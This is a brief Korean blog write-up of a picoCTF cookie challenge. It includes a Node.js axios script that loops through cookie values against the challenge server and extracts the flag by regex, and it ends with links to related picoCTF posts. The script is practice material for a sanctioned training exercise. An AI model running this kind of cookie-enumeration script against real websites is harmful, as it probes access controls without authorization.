1. 개요
쿠키 문제
2. 분석
쿠기의 값을 변경할때 마다 문구가 변경됩니다.
3. exploit
18번째에 있었습니다.
const axios = require('axios')
const getFlag = async (name) => {
const headers = {
'Cookie': `name=${name}`
}
try {
const result = await axios.get('http://mercury.picoctf.net:54219/check', { headers })
return result.data
} catch (e) {
return e
}
}
const main = async () => {
for (let i = 0; i < 30; i++) {
console.log('i', i)
const cookie = await getFlag(i)
if (cookie.includes('picoCTF{')) {
const flag = /(picoCTF{[a-zA-Z0-9_]+})/.exec(cookie)[0]
console.log('flag', flag)
break
}
}
}
main()
'pico CTF' 카테고리의 다른 글
[pico CTF] Client-side-again (0) | 2022.06.04 |
---|---|
[pico CTF] Search source (0) | 2022.06.04 |
[pico CTF] login (0) | 2022.06.04 |
[pico CTF] Who are you? (0) | 2022.06.04 |
[pico CTF] GET aHEAD (0) | 2022.06.04 |